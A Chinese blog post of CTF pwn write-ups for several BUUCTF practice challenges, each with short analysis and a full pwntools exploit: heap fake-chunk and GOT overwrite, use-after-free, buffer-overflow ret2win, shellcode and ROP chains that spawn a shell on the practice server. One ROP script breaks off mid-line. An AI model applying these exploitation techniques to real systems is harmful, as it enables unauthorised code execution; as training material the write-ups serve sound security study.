BUU-pwn(六)

发现个pwn题目:https://github.com/bash-c/pwn_repo/

[ZJCTF 2019]EasyHeap

因为没有show chunk的功能,所以没法利用unsorted bin泄漏地址
BUU-pwn(六)_第1张图片
所以说只要修改magic的值即可,找到 magic 附近的fake chunk

BUU-pwn(六)_第2张图片

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']

#r = remote("node4.buuoj.cn",29720)
r = process('./easyheap')
#r = gdb.debug("./heap")

def alloc(size):
    r.sendlineafter('Your choice :','1')
    r.sendlineafter('Size of Heap : ',str(size))
    r.recvuntil("Content of heap:")
    r.sendline()

def edit(index,payload):
    r.sendlineafter('Your choice :','2')
    r.sendlineafter("Index :",str(index))
    r.sendlineafter("Size of Heap : ",str(len(payload)))
    r.sendlineafter("Content of heap : ",payload)
    
def free(index):
    r.sendlineafter('Your choice :','3')
    r.sendlineafter("Index :",str(index))

def flag():
    r.recvuntil("Your choice :")
    r.sendline('4869')

magic = 0x06020C0

alloc(0x60)#0
alloc(0x60)#1
alloc(0x60)#2
free(1)

payload = b'a'*0x68+p64(0x71)+p64(magic-0x13)  # fake chunk: 0x6020ad
edit(0,payload)

alloc(0x60)#1
alloc(0x60)#3
payload = b'a'*0x3+p64(0xdeadbeef)
edit(3,payload)  # x/20gx 0x6020c0
flag()
# gdb.attach(r)
# pause()

r.interactive()

然后远程没有这个文件,接下来想办法反弹shell,修改free_got内容为system,这样free一个chunk时调用system(),只需要往一个chunk写’/bin/sh\x00’即可

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']

r = remote("node4.buuoj.cn",29742)
#r = process('./easyheap')
#r = gdb.debug("./heap")

def alloc(size):
    r.sendlineafter('Your choice :','1')
    r.sendlineafter('Size of Heap : ',str(size))
    r.recvuntil("Content of heap:")
    r.sendline()

def edit(index,payload):
    r.sendlineafter('Your choice :','2')
    r.sendlineafter("Index :",str(index))
    r.sendlineafter("Size of Heap : ",str(len(payload)))
    r.sendlineafter("Content of heap : ",payload)
    
def free(index):
    r.sendlineafter('Your choice :','3')
    r.sendlineafter("Index :",str(index))

def flag():
    r.recvuntil("Your choice :")
    r.sendline('4869')

elf = ELF('./easyheap')
free_got = elf.got['free']  # no fake chunk
system = elf.symbols['system']
heaparray = 0x06020E0   # fake chunk

alloc(0x60)#0
alloc(0x60)#1
alloc(0x60)#2
free(1)

log.info('free_got: '+str(hex(free_got)))
log.info('system: '+str(hex(system)))
log.info('heaparray: '+str(hex(heaparray)))
log.info('fake chunk: '+str(hex(heaparray-0x33)))

payload = b'a'*0x68+p64(0x71)+p64(heaparray-0x33)  # fake chunk to heaparray
edit(0,payload)
alloc(0x60)#1
alloc(0x60)#3 fake chunk

payload = b'b'*0x23+p64(free_got) # heaparray[0] = free_got
edit(3,payload)

payload = p64(system)
edit(0,payload) # free_got -> system

payload = '/bin/sh\x00'
edit(1,payload)

free(1)

r.interactive()

hitcontraining_uaf

  • UAF

没有编辑的功能

BUU-pwn(六)_第3张图片
add函数,添加一个note会malloc两个chunk

BUU-pwn(六)_第4张图片

即这样:
BUU-pwn(六)_第5张图片

print函数

BUU-pwn(六)_第6张图片

del函数

BUU-pwn(六)_第7张图片
这里只存在free,没有将指针赋值为NULL,存在UAF漏洞,还有个后门函数 magic

思路:申请两个chunk后,都free掉,再次申请0x8长度后会走到*print指针处,然后我们修改这里的值为后门函数的值,然后再调用show方法即可调用后门。

from pwn import *
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']

r = remote("node4.buuoj.cn",28194)
#r = process('./hacknote',env = {"LD_PRELOAD": "libc_32.so.6"})

def alloc(size,content):
  r.sendlineafter('choice :','1')
  r.sendlineafter('Note size :',str(size))
  r.recvuntil('Content :')
  r.sendline(content)

def free(idx):
  r.sendlineafter('choice :','2')
  r.sendlineafter('Index :',str(idx))

def show(idx):
  r.sendlineafter('choice :','3')
  r.sendlineafter('Index :',str(idx))

shell_addr = 0x8048945

alloc(0x10,'a')
alloc(0x10,'b')
free(0)
free(1)

alloc(0x8,p32(shell_addr))
show(0)

r.interactive()

picoctf_2018_buffer overflow 1

from pwn import *
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']

r = remote("node4.buuoj.cn",27138)
#r = process('./PicoCTF_2018_buffer_overflow_1')

elf = ELF('./PicoCTF_2018_buffer_overflow_1')
win = elf.sym['win']

payload = b'a'*0x28+b'b'*0x4+p32(win)
r.sendlineafter('Please enter your string: ',payload)

r.interactive()

mrctf2020_shellcode

ida没法看伪代码,硬撸汇编
读400长度到buf中,将$eax赋值给[rbp+var_4],接着与0进行比较;>0则执行 call

BUU-pwn(六)_第8张图片
直接写shellcode

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']

r = remote("node4.buuoj.cn",28695)
#r = process('./PicoCTF_2018_buffer_overflow_1')

shellcode = asm(shellcraft.sh())
r.sendlineafter('Show me your magic!',shellcode)

r.interactive()

jarvisoj_test_your_memory

from pwn import *
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']

r = remote("node4.buuoj.cn",27949)
#r = process('./memory')

elf = ELF('./memory')
system = elf.sym['win_func']
main = elf.sym['main']

payload = b'a'*0x13+b'b'*0x4+p32(system)+p32(main)+p32(0x080487E0)
r.sendline(payload)

r.interactive()

cmcc_simplerop

  • execve:https://blog.csdn.net/A951860555/article/details/110936441
  • ret2sys
execve("/bin/sh", NULL, NULL)获得shell
int 0x80 汇编调用,系统调用号用 eax 储存, 第一 、 二 、 三参数分别在 ebx 、ecx 、edx中储存

静态链接库,存在栈溢出

BUU-pwn(六)_第9张图片
直接找系统调用号 0x80

ROPgadget --binary simplerop --only "int"

BUU-pwn(六)_第10张图片

找赋值eax、ebx、ecx、edx

ROPgadget --binary simplerop --only "pop|ret" | grep "eax"
ROPgadget --binary simplerop --only "pop|ret" | grep "ebx"

找不到bin/sh之类得字符串,所以需要我们将/bin/sh读入。读到bss段就行了。

exp

from pwn import *
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']

r = remote("node4.buuoj.cn",28768)
#r = process('./simplerop')
#r = gdb.debug('./simplerop')

int80 = 0x080493e1
pop_eax_ret = 0x080bae06
pop_edx_ecx_ebx_ret = 0x0806e850
read_addr = 0x0806cd50
bss_addr = 0x080eb584

payload = b'a'*0x20
payload += p32(read_addr)+p32(pop_edx_ecx_ebx_ret) # pop为栈平衡,结尾有个ret
payload += p32(0)+p32(bss_addr)+p32(8) # 填充read参数
payload += p32(pop_eax_ret) + p32(0x0b) #0xb为系统调用号
payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bss_addr) # 反向输入参数
payload += p32(0x080493e1) # 执行系统中断,调用execve

r.recvuntil('Your input :')
r.sendline(payload)
r.sendline(b'/bin/sh\x00')

r.interactive()
  • mprotect 开辟bss空间为可执行,然后执行shellcode

exp

from pwn import *
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']

r = remote("node4.buuoj.cn",28768)
#r = process('./simplerop')
#r = gdb.debug('./simplerop')

int80 = 0x080493e1
pop_eax_ret = 0x080bae06
pop_edx_ecx_ebx_ret = 0x0806e850
read_addr = 0x0806cd50
bss_addr = 0x080eb584
mprotect_addr = 0x0806D870

payload = b"a" * 0x20 + p32(mprotect_addr)		# 栈溢出运行mprotec函数
payload += p32(pop_edx_ecx_ebx_ret)				# 平衡栈空间
payload += p32(0x080eb000) + p32(0x1000) + p32(0x7)# mprotect函数的三个参数,修改bss段权限为RWX
payload += p32(read_addr)						# mprotect运行后返回到read函数
payload += p32(pop_edx_ecx_ebx_ret)				# 平衡栈空间
payload += p32(0) + p32(bss_addr) + p32(0x44)	# read函数的三个参数,将shellcode写入bss段
payload += p32(bss_addr)						# read函数运行后返回到bss段执行shellcode

r.recvuntil('Your input :')
r.sendline(payload)
r.sendline(asm(shellcraft.sh()))

r.interactive()

inndy_rop

上面的mprotect可以写,这里有一种方法,利用ROPgadget,可以直接利用程序中的片段拼凑rop链

ROPgadget --binary inndy_rop --ropchain

填充一下溢出即可

BUU-pwn(六)_第11张图片

exp

from pwn import *
from struct import pack
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']

r = remote("node4.buuoj.cn",29048)

# Padding goes here
p=b'a'*(0xc+4)

p += pack('

picoctf_2018_buffer overflow 2

BUU-pwn(六)_第12张图片

控制a1与a2的值即可,挨着ret
BUU-pwn(六)_第13张图片
exp

from pwn import *
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']

r = remote("node4.buuoj.cn",29237)

payload = b'a'*0x6c+b'b'*0x4+p32(0x080485CB)+p32(0)+p32(0xDEADBEEF)+p32(0xDEADC0DE)
r.sendlineafter('Please enter your string: ',payload)

r.interactive()

你可能感兴趣的:(pwn,安全)